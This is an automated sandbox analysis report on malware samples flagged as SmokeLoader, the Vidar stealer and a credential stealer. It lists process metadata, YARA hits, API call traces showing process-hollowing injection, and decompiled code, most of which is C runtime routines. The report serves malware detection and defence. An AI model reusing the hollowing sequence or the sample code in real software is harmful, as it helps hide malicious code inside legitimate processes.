Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000026.00000002.444174815.0000000000951000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000026.00000002.442728079.0000000000630000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 2757.exe PID: 2904 Parent PID: 3472

General

Start time:	19:33:31
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\2757.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\2757.exe
Imagebase:	0x1150000
File size:	1497920 bytes
MD5 hash:	67B848B139E584BF3361A51160FC6731
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000027.00000002.537263879.00000000008C7000.00000004.00000020.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 4187.exe PID: 6064 Parent PID: 3472

General

Start time:	19:33:37
Start date:	04/01/2022
Path:	C:\Users\user\AppData\Local\Temp\4187.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\4187.exe
Imagebase:	0x400000
File size:	760832 bytes
MD5 hash:	C085684DB882063C21F18D251679B0CC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: nkINykHreE.exe PID: 800 Parent PID: 1544 nkINykHreE.exeCOMMON

Executed Functions

Function 00540110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 00540156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0054016C
CreateProcessA.KERNELBASE(?,00000000), ref: 00540255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 00540270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 00540283
GetThreadContext.KERNELBASE(00000000,?), ref: 0054029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005402C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 005402E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 00540304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0054032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 00540399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 005403BF
SetThreadContext.KERNELBASE(00000000,?), ref: 005403E1
ResumeThread.KERNELBASE(00000000), ref: 005403ED
ExitProcess.KERNEL32(00000000), ref: 00540412

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 3dfb4c8af88f500584b3aaebfe67b33d348b7c29fb0b0a8c3b594a822a812b77
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 3BB1B674A00209AFDB44CF98C895F9EBBB5BF88314F248158E609AB391D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00540630, Relevance: 58.4, APIs: 1, Strings: 32, Instructions: 671libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(user32), ref: 005406E2

Strings

VirtualAlloc, xrefs: 00540AC1, 00540AC7
NtUnmapViewOfSection, xrefs: 00541085, 0054108B
ReadProcessMemory, xrefs: 00540C4A, 00540C50
CreateFileA, xrefs: 0054088B, 00540891
GetCommandLineA, xrefs: 00540F82, 00540F88
CreateProcessA, xrefs: 005409BB, 005409C1
MessageBoxA, xrefs: 005406EE, 005406F4
PostMessageA, xrefs: 005412B0, 005412B6
VirtualFree, xrefs: 00540BB2, 00540BB8
SetThreadContext, xrefs: 00540D7A, 00540D80
user32, xrefs: 005406DB, 005406E1
CreateWindowExA, xrefs: 0054123E, 00541244
WinExec, xrefs: 00540820, 00540823
GetFileAttributesA, xrefs: 005413D7, 005413DA
WriteFile, xrefs: 005408CD, 005408D0
NtWriteVirtualMemory, xrefs: 0054112C, 00541132
VirtualAllocEx, xrefs: 00540B44, 00540B4A
GetMessageA, xrefs: 005412F7, 005412FA
CloseHandle, xrefs: 00540938, 0054093E
GetModuleFileNameA, xrefs: 00540EFB, 00540EFE
WaitForSingleObject, xrefs: 00540E95, 00540E9B
ResumeThread, xrefs: 00540DEF, 00540DF5
RegisterClassExA, xrefs: 005411B7, 005411BD
VirtualProtectEx, xrefs: 005414E9, 005414EF
ntdll.dll, xrefs: 00540FE2, 00540FE8
ExitProcess, xrefs: 00541554, 0054155A
DefWindowProcA, xrefs: 00541374, 0054137A
GetMessageExtraInfo, xrefs: 00540794, 0054079A
GetThreadContext, xrefs: 00540A4C, 00540A52
WriteProcessMemory, xrefs: 00540CE9, 00540CEF
kernel32, xrefs: 005407ED, 005407F3
GetStartupInfoA, xrefs: 0054145B, 00541461

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID: LibraryLoad
String ID: CloseHandle$CreateFileA$CreateProcessA$CreateWindowExA$DefWindowProcA$ExitProcess$GetCommandLineA$GetFileAttributesA$GetMessageA$GetMessageExtraInfo$GetModuleFileNameA$GetStartupInfoA$GetThreadContext$MessageBoxA$NtUnmapViewOfSection$NtWriteVirtualMemory$PostMessageA$ReadProcessMemory$RegisterClassExA$ResumeThread$SetThreadContext$VirtualAlloc$VirtualAllocEx$VirtualFree$VirtualProtectEx$WaitForSingleObject$WinExec$WriteFile$WriteProcessMemory$kernel32$ntdll.dll$user32
API String ID: 1029625771-3105132389
Opcode ID: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction ID: 2ef0e5aae1d8e8b9082dca018b137d56e19fe8d8be4b1f02a889d7881b6e037f
Opcode Fuzzy Hash: aab33881e6ea512dee0bea29e3953140485f8577d3db8e783070f8d433065c47
Instruction Fuzzy Hash: F6A25460D0C6E9C9EB21C668CC4C7DDBEB51B26749F0841D9818C66292C7BB1B98CF76

Uniqueness

Uniqueness Score: -1.00%

Function 004337C0, Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E004337C0(void* __ebx, int __edx, void* __edi, int _a4, int _a8) {
				signed int _v8;
				signed int _v12;
				signed char* _v16;
				signed int _v20;
				signed int _v24;
				char _v38;
				struct _cpinfo _v44;
				signed char* _v48;
				void* __esi;
				signed int _t143;
				int _t146;
				signed int _t150;
				intOrPtr _t158;
				void* _t189;
				void* _t253;
				signed int _t255;
				void* _t256;
				void* _t257;

				_t253 = __edi;
				_t222 = __edx;
				_t189 = __ebx;
				_t143 =  *0x445748; // 0x7cd7748c
				_v24 = _t143 ^ _t255;
				_t146 = E004336B0(_a4);
				_t257 = _t256 + 4;
				_a4 = _t146;
				if(_a4 != 0) {
					_v12 = 0;
					while(_v12 < 5) {
						_t146 = _v12 * 0x30;
						_t11 = _t146 + 0x4460b0; // 0x21827982
						if( *_t11 != _a4) {
							_t222 = _v12 + 1;
							_v12 = _v12 + 1;
							continue;
						} else {
							_v20 = 0;
							while(_v20 < 0x101) {
								 *((char*)(_a8 + _v20 + 0x1c)) = 0;
								_v20 = _v20 + 1;
							}
							_v8 = 0;
							while(_v8 < 4) {
								_t27 = _v8 * 8; // 0x4460c5
								_v16 = _v12 * 0x30 + _t27 + 0x4460c0;
								while(( *_v16 & 0x000000ff) != 0) {
									_t34 =  &(_v16[1]); // 0xc08508c4
									if(( *_t34 & 0x000000ff) != 0) {
										_v20 =  *_v16 & 0x000000ff;
										while(1) {
											_t40 =  &(_v16[1]); // 0xc08508c4
											if(_v20 > ( *_t40 & 0x000000ff)) {
												break;
											}
											_t43 = _v8 + 0x4460ac; // 0x3a4
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff |  *_t43;
											_v20 = _v20 + 1;
										}
										_v16 =  &(_v16[2]);
										continue;
									}
									break;
								}
								_v8 = _v8 + 1;
							}
							 *(_a8 + 4) = _a4;
							 *((intOrPtr*)(_a8 + 8)) = 1;
							_t56 = _a8 + 4; // 0x6a4474c0
							 *((intOrPtr*)(_a8 + 0xc)) = E00433B10(_a8,  *_t56);
							_v8 = 0;
							while(_v8 < 6) {
								_t68 = _v8 * 2; // 0x0
								 *((short*)(_a8 + 0x10 + _v8 * 2)) =  *((intOrPtr*)(_v12 * 0x30 + _t68 + 0x4460b4));
								_t222 = _v8 + 1;
								_v8 = _v8 + 1;
							}
							E00433C70(_t189, _t253, _t254, _a8);
							_t147 = 0;
						}
						goto L63;
					}
					if(_a4 == 0 || _a4 == 0xfde8 || _a4 == 0xfde9) {
						L33:
						_t147 = _t146 | 0xffffffff;
					} else {
						_t222 = _a4 & 0x0000ffff;
						_t146 = IsValidCodePage(_a4 & 0x0000ffff);
						if(_t146 != 0) {
							_t192 = _a4;
							_t150 = GetCPInfo(_a4,  &_v44);
							if(_t150 == 0) {
								if( *0x455f20 == 0) {
									_t147 = _t150 | 0xffffffff;
								} else {
									E00433B90(_t192, _a8);
									_t147 = 0;
								}
							} else {
								_v20 = 0;
								while(_v20 < 0x101) {
									 *((char*)(_a8 + _v20 + 0x1c)) = 0;
									_v20 = _v20 + 1;
								}
								 *(_a8 + 4) = _a4;
								 *((intOrPtr*)(_a8 + 0xc)) = 0;
								if(_v44 <= 1) {
									 *((intOrPtr*)(_a8 + 8)) = 0;
								} else {
									_v48 =  &_v38;
									while(( *_v48 & 0x000000ff) != 0 && (_v48[1] & 0x000000ff) != 0) {
										_v20 =  *_v48 & 0x000000ff;
										while(_v20 <= (_v48[1] & 0x000000ff)) {
											 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000004;
											_v20 = _v20 + 1;
										}
										_v48 =  &(_v48[2]);
									}
									_v20 = 1;
									while(_v20 < 0xff) {
										 *(_a8 + _v20 + 0x1d) =  *(_a8 + _v20 + 0x1d) & 0x000000ff | 0x00000008;
										_v20 = _v20 + 1;
									}
									_t124 = _a8 + 4; // 0x6a4474c0
									_t158 = E00433B10(_a8,  *_t124);
									_t257 = _t257 + 4;
									 *((intOrPtr*)(_a8 + 0xc)) = _t158;
									 *((intOrPtr*)(_a8 + 8)) = 1;
								}
								_v8 = 0;
								while(_v8 < 6) {
									 *((short*)(_a8 + 0x10 + _v8 * 2)) = 0;
									_v8 = _v8 + 1;
								}
								_t222 = _a8;
								E00433C70(_t189, _t253, _t254, _a8); // executed
								_t147 = 0;
							}
						} else {
							goto L33;
						}
					}
				} else {
					_t5 =  &_a8; // 0x4272e0
					E00433B90( *_t5,  *_t5);
					_t147 = 0;
				}
				L63:
				return E00426900(_t147, _t189, _v24 ^ _t255, _t222, _t253, _t254);
			}

0x004337c0
0x004337c0
0x004337c0
0x004337c8
0x004337cf
0x004337d7
0x004337dc
0x004337df
0x004337e6
0x004337fb
0x0043380d
0x0043381a
0x0043381d
0x00433826
0x00433807
0x0043380a
0x00000000
0x0043382c
0x0043382c
0x0043383e
0x0043384d
0x0043383b
0x0043383b
0x00433853
0x00433865
0x00433874
0x0043387b
0x00433889
0x00433896
0x0043389c
0x004338a4
0x004338b2
0x004338b5
0x004338bc
0x00000000
0x00000000
0x004338c1
0x004338da
0x004338af
0x004338af
0x00433886
0x00000000
0x00433886
0x00000000
0x0043389c
0x00433862
0x00433862
0x004338ec
0x004338f2
0x004338fc
0x0043390b
0x0043390e
0x00433920
0x00433935
0x0043393d
0x0043391a
0x0043391d
0x0043391d
0x00433948
0x00433950
0x00433950
0x00000000
0x00433826
0x00433960
0x00433983
0x00433983
0x00433974
0x00433974
0x00433979
0x00433981
0x0043398f
0x00433993
0x0043399b
0x00433ae1
0x00433af3
0x00433ae3
0x00433ae7
0x00433aef
0x00433aef
0x004339a1
0x004339a1
0x004339b3
0x004339c2
0x004339b0
0x004339b0
0x004339ce
0x004339d4
0x004339df
0x00433a9c
0x004339e5
0x004339e8
0x004339f6
0x00433a11
0x00433a1f
0x00433a3e
0x00433a1c
0x00433a1c
0x004339f3
0x004339f3
0x00433a45
0x00433a57
0x00433a73
0x00433a54
0x00433a54
0x00433a7b
0x00433a7f
0x00433a84
0x00433a8a
0x00433a90
0x00433a90
0x00433aa3
0x00433ab5
0x00433ac3
0x00433ab2
0x00433ab2
0x00433aca
0x00433ace
0x00433ad6
0x00433ad6
0x00000000
0x00000000
0x00000000
0x00433981
0x004337e8
0x004337e8
0x004337ec
0x004337f4
0x004337f4
0x00433af7
0x00433b04

APIs

getSystemCP.LIBCMTD ref: 004337D7

Part of subcall function 004336B0: GetOEMCP.KERNEL32(00000000,7CD7748C,?,?,?,004428B8,000000FF), ref: 0043370B
Part of subcall function 004336B0: _LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043371E

setSBCS.LIBCMTD ref: 004337EC
setSBUpLow.LIBCMTD ref: 00433948

Strings

rB, xrefs: 00433A8D, 004339BC, 004338E6, 00433A2B, 00433A60, 00433ACA, 00433889, 00433944, 00433847, 00433A78, 00433A87, 004338D4, 00433AC0, 00433908, 00433A99, 004338EF, 0043389E, 004338B2, 00433880, 004338C8, 004339D1, 00433893, 004339C8, 00433A6D, 004338F9, 00433AE3, 00433A38, 0043392F
rB, xrefs: 004337E8, 004337EB

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$SystemUpdateUpdate::~_
String ID: rB$rB
API String ID: 2101441384-529071143
Opcode ID: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction ID: 1444292e13dbe1a9b9c64266eceab063001a5fe1923e779f436146cfba8b2e80
Opcode Fuzzy Hash: 74cf1c04967751aaad768f1f3c872cf66befbe84d5bec7d69e1e6011141dd61a
Instruction Fuzzy Hash: 0AB17AB0904119DFCB04DF94C880AAEBBB1BF48306F24D55AE8666B341D379EB41DF99

Uniqueness

Uniqueness Score: -1.00%

Function 00432250, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 326
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00432250() {
				void* _v8;
				signed int _v12;
				char _v20;
				intOrPtr _v28;
				struct _STARTUPINFOA _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				int _v116;
				signed char* _v120;
				void* _v124;
				void** _v128;
				void** _v132;
				int _v140;
				long _v144;
				signed int _t166;
				signed int _t170;
				signed int _t175;
				signed int _t188;
				signed int _t206;
				void** _t209;
				signed int _t321;
				void* _t322;
				intOrPtr _t323;
				void* _t324;

				_push(0xfffffffe);
				_push(0x443b08);
				_push(E0042C640);
				_push( *[fs:0x0]);
				_t323 = _t322 + 0xffffff84;
				_t166 =  *0x445748; // 0x7cd7748c
				_v12 = _v12 ^ _t166;
				_push(_t166 ^ _t321);
				 *[fs:0x0] =  &_v20;
				_v28 = _t323;
				_v8 = 0;
				GetStartupInfoA( &_v100);
				_v8 = 0xfffffffe;
				_t170 = L00424B40(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0x88); // executed
				_t324 = _t323 + 0x14;
				_v128 = _t170;
				if(_v128 != 0) {
					 *0x456400 = _v128;
					 *0x4563e4 = 0x20;
					while(_v128 <  *0x456400 + 0x800) {
						_v128[1] = 0;
						 *_v128 = 0xffffffff;
						_v128[1] = 0xa;
						_v128[2] = 0;
						_v128[9] = _v128[9] & 0x00000080;
						_v128[9] = _v128[9] & 0x0000007f;
						_v128[9] = 0xa;
						_v128[9] = 0xa;
						_v128[0xe] = 0;
						_v128[0xd] = 0;
						_v128 =  &(_v128[0x10]);
					}
					if((_v100.cbReserved2 & 0x0000ffff) == 0 || _v100.lpReserved2 == 0) {
						L34:
						_v112 = 0;
						while(_v112 < 3) {
							_v128 = (_v112 << 6) +  *0x456400;
							if( *_v128 == 0xffffffff ||  *_v128 == 0xfffffffe) {
								_v128[1] = 0x81;
								if(_v112 != 0) {
									asm("sbb edx, edx");
									_v144 =  ~(_v112 - 1) + 0xfffffff5;
								} else {
									_v144 = 0xfffffff6;
								}
								_v124 = GetStdHandle(_v144);
								if(_v124 == 0xffffffff || _v124 == 0) {
									L52:
									_v128[1] = _v128[1] | 0x00000040;
									 *_v128 = 0xfffffffe;
									goto L53;
								} else {
									_v108 = GetFileType(_v124);
									if(_v108 == 0) {
										goto L52;
									} else {
										 *_v128 = _v124;
										if((_v108 & 0x000000ff) != 2) {
											if((_v108 & 0x000000ff) == 3) {
												_v128[1] = _v128[1] | 0x00000008;
											}
										} else {
											_v128[1] = _v128[1] | 0x00000040;
										}
										_t188 = E0043DFA0( &(_v128[3]), 0xfa0);
										_t324 = _t324 + 8;
										if(_t188 != 0) {
											_v128[2] = _v128[2] + 1;
											L53:
											goto L55;
										} else {
											_t175 = _t188 | 0xffffffff;
										}
									}
								}
							} else {
								_v128[1] = _v128[1] | 0x00000080;
								L55:
								_v112 = _v112 + 1;
								continue;
							}
							goto L57;
						}
						SetHandleCount( *0x4563e4);
						_t175 = 0;
					} else {
						_v116 =  *(_v100.lpReserved2);
						_v120 = _v100.lpReserved2 + 4;
						_v132 =  &(_v120[_v116]);
						if(_v116 >= 0x800) {
							_v140 = 0x800;
						} else {
							_v140 = _v116;
						}
						_v116 = _v140;
						_v104 = 1;
						while( *0x4563e4 < _v116) {
							_t209 = L00424B40(0x20, 0x40, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\ioinit.c", 0xc0);
							_t324 = _t324 + 0x14;
							_v128 = _t209;
							if(_v128 != 0) {
								 *((intOrPtr*)(0x456400 + _v104 * 4)) = _v128;
								 *0x4563e4 =  *0x4563e4 + 0x20;
								while(_v128 <  *((intOrPtr*)(0x456400 + _v104 * 4)) + 0x800) {
									_v128[1] = 0;
									 *_v128 = 0xffffffff;
									_v128[1] = 0xa;
									_v128[2] = 0;
									_v128[9] = _v128[9] & 0x00000080;
									_v128[9] = 0xa;
									_v128[9] = 0xa;
									_v128[0xe] = 0;
									_v128[0xd] = 0;
									_v128 =  &(_v128[0x10]);
								}
								_v104 = _v104 + 1;
								continue;
							} else {
								_v116 =  *0x4563e4;
							}
							break;
						}
						_v112 = 0;
						while(_v112 < _v116) {
							if( *_v132 == 0xffffffff ||  *_v132 == 0xfffffffe || ( *_v120 & 0x00000001) == 0 || ( *_v120 & 0x00000008) == 0 && GetFileType( *_v132) == 0) {
								L33:
								_v112 = _v112 + 1;
								_v120 =  &(_v120[1]);
								_v132 =  &(_v132[1]);
								continue;
							} else {
								_v128 = ((_v112 & 0x0000001f) << 6) +  *((intOrPtr*)(0x456400 + (_v112 >> 5) * 4));
								 *_v128 =  *_v132;
								_v128[1] =  *_v120;
								_t206 = E0043DFA0( &(_v128[3]), 0xfa0);
								_t324 = _t324 + 8;
								if(_t206 != 0) {
									_v128[2] =  *((intOrPtr*)(_v128 + 8)) + 1;
									goto L33;
								} else {
									_t175 = _t206 | 0xffffffff;
								}
							}
							goto L57;
						}
						goto L34;
					}
				} else {
					_t175 = _t170 | 0xffffffff;
				}
				L57:
				 *[fs:0x0] = _v20;
				return _t175;
			}

0x00432255
0x00432257
0x0043225c
0x00432267
0x00432268
0x0043226e
0x00432273
0x00432278
0x0043227c
0x00432282
0x00432285
0x00432290
0x00432296
0x004322db
0x004322e0
0x004322e3
0x004322ea
0x004322f7
0x004322fd
0x00432312
0x00432324
0x0043232b
0x00432334
0x0043233b
0x0043234d
0x0043235b
0x00432361
0x00432368
0x0043236f
0x00432379
0x0043230f
0x0043230f
0x00432385
0x00432583
0x00432583
0x00432595
0x004325ab
0x004325b4
0x004325c5
0x004325cd
0x004325e3
0x004325e8
0x004325cf
0x004325cf
0x004325cf
0x004325fb
0x00432602
0x00432699
0x004326a6
0x004326ac
0x00000000
0x00432612
0x0043261c
0x00432623
0x00000000
0x00432625
0x0043262b
0x00432639
0x00432659
0x00432668
0x00432668
0x0043263b
0x00432648
0x00432648
0x00432677
0x0043267c
0x00432681
0x00432694
0x004326b2
0x00000000
0x00432683
0x00432683
0x00432683
0x00432681
0x00432623
0x004326b4
0x004326c3
0x004326c6
0x00432592
0x00000000
0x00432592
0x00000000
0x004325b4
0x004326d2
0x004326d8
0x00432395
0x0043239a
0x004323a3
0x004323ac
0x004323b6
0x004323c3
0x004323b8
0x004323bb
0x004323bb
0x004323d3
0x004323d6
0x004323e8
0x00432407
0x0043240c
0x0043240f
0x00432416
0x0043242b
0x0043243a
0x0043244a
0x00432461
0x00432468
0x00432471
0x00432478
0x0043248a
0x00432490
0x00432497
0x0043249e
0x004324a8
0x00432447
0x00432447
0x004323e5
0x00000000
0x00432418
0x0043241d
0x0043241d
0x00000000
0x00432416
0x004324b3
0x004324d7
0x004324e9
0x0043257e
0x004324c2
0x004324cb
0x004324d4
0x00000000
0x00432521
0x00432537
0x00432542
0x0043254c
0x0043255b
0x00432560
0x00432565
0x0043257b
0x00000000
0x00432567
0x00432567
0x00432567
0x00432565
0x00000000
0x004324e9
0x00000000
0x004324d7
0x004322ec
0x004322ec
0x004322ec
0x004326da
0x004326dd
0x004326eb

APIs

GetStartupInfoA.KERNEL32(?), ref: 00432290
GetFileType.KERNEL32(?), ref: 00432517

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c, xrefs: 004322D0, 004323FC

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoStartupType
String ID: f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c
API String ID: 3016745765-4097262939
Opcode ID: 36cab85e03b373958cc74ac3d9ac9e219729ce770045a6716a7ed48f4c3f9738
Instruction ID: 5f4609c5fd7a2f51742fdccd271b2f09d373132af45a9a599b2f19457e60ffa5
Opcode Fuzzy Hash: 36cab85e03b373958cc74ac3d9ac9e219729ce770045a6716a7ed48f4c3f9738
Instruction Fuzzy Hash: 00E11874E04248CFDB24CFA8C990BADBBB1BB4D314F24825ED8656B392C7749842CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00540420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 00540533

Strings

d, xrefs: 00540584
saodkfnosa9uin, xrefs: 005404DA
0, xrefs: 00540492
mfoaskdfnoa, xrefs: 00540520, 00540523

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 14c301c4100ab25b2b6e9843a01134393069d371a06f26d66fb5ef35e5d92293
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D1511870D08388DAEB11CBE8C849BDDBFB2AF15708F244058D5447F2C6C3BA5A58CB66

Uniqueness

Uniqueness Score: -1.00%

Function 005405B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 005405EC

Strings

o, xrefs: 00540600
apfHQ, xrefs: 005405E2, 005405E5

Memory Dump Source

Source File: 00000000.00000002.243892151.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: fdeafc9fd1666285ab03c3717686921e8d14afc21d2fb3c05ce19df5b74c5218
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: A6011E70C0424CEADF14DB98C5183EEBFB5AF41308F248099C5492B282D7769B59CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00434CA0, Relevance: 4.6, APIs: 3, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00434CA0(void* __ebx, void* __edi, void* __esi, long _a4) {
				intOrPtr _v8;
				long _v12;
				void* _t15;
				void* _t20;
				void* _t30;
				void* _t33;

				if( *0x455f1c == 0) {
					L004319A0();
					L004319F0(__ebx, __edi, __esi, 0x1e);
					E00430480(0xff);
					_t33 = _t33 + 8;
				}
				if( *0x4563e0 != 1) {
					if( *0x4563e0 != 3) {
						L10:
						if(_a4 == 0) {
							_a4 = 1;
						}
						_a4 = _a4 + 0x0000000f & 0xfffffff0;
						_t15 =  *0x455f1c; // 0x730000
						return HeapAlloc(_t15, 0, _a4);
					}
					_v8 = E00434B70(_a4);
					if(_v8 == 0) {
						goto L10;
					}
					return _v8;
				} else {
					if(_a4 == 0) {
						_v12 = 1;
					} else {
						_v12 = _a4;
					}
					_t30 =  *0x455f1c; // 0x730000
					_t20 = RtlAllocateHeap(_t30, 0, _v12); // executed
					return _t20;
				}
			}

0x00434caf
0x00434cb1
0x00434cb8
0x00434cc5
0x00434cca
0x00434cca
0x00434cd4
0x00434d09
0x00434d25
0x00434d29
0x00434d2b
0x00434d2b
0x00434d3b
0x00434d44
0x00000000
0x00434d4a
0x00434d17
0x00434d1e
0x00000000
0x00000000
0x00000000
0x00434cd6
0x00434cda
0x00434ce4
0x00434cdc
0x00434cdf
0x00434cdf
0x00434cf1
0x00434cf8
0x00000000
0x00434cf8

APIs

RtlAllocateHeap.NTDLL(00730000,00000000,00000001), ref: 00434CF8

Part of subcall function 00430480: ___crtCorExitProcess.LIBCMTD ref: 00430489
Part of subcall function 00430480: ExitProcess.KERNEL32 ref: 00430495

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitProcess$AllocateHeap___crt
String ID:
API String ID: 2561786895-0
Opcode ID: 4b9767fe850f5a10fe930d231f72a3b6b103d848cb6574026cf7c0e9f6a1d1e8
Instruction ID: 3fdc19144f6448278c4d96e4ad56c26b59d03c079802004d82de8570bc5b0f27
Opcode Fuzzy Hash: 4b9767fe850f5a10fe930d231f72a3b6b103d848cb6574026cf7c0e9f6a1d1e8
Instruction Fuzzy Hash: FD11C871800208EFDF10DF50E8557ED3B74AF8830AF14916AF9054B391D778EA84CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3F0, Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042E3F0() {
				void* _t1;

				_t1 = E0042E320(0); // executed
				return _t1;
			}

0x0042e3f7
0x0042e400

APIs

__encode_pointer.LIBCMTD ref: 0042E3F7

Part of subcall function 0042E320: TlsGetValue.KERNEL32(00000001), ref: 0042E335
Part of subcall function 0042E320: TlsGetValue.KERNEL32(00000001,00000001), ref: 0042E356
Part of subcall function 0042E320: __crt_wait_module_handle.LIBCMTD ref: 0042E36C
Part of subcall function 0042E320: GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0042E386
Part of subcall function 0042E320: RtlEncodePointer.NTDLL(?), ref: 0042E3A7

Memory Dump Source

Source File: 00000000.00000002.243796103.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.243784215.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.243853231.0000000000445000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243864254.0000000000455000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.243868727.000000000045C000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$AddressEncodePointerProc__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 568403282-0
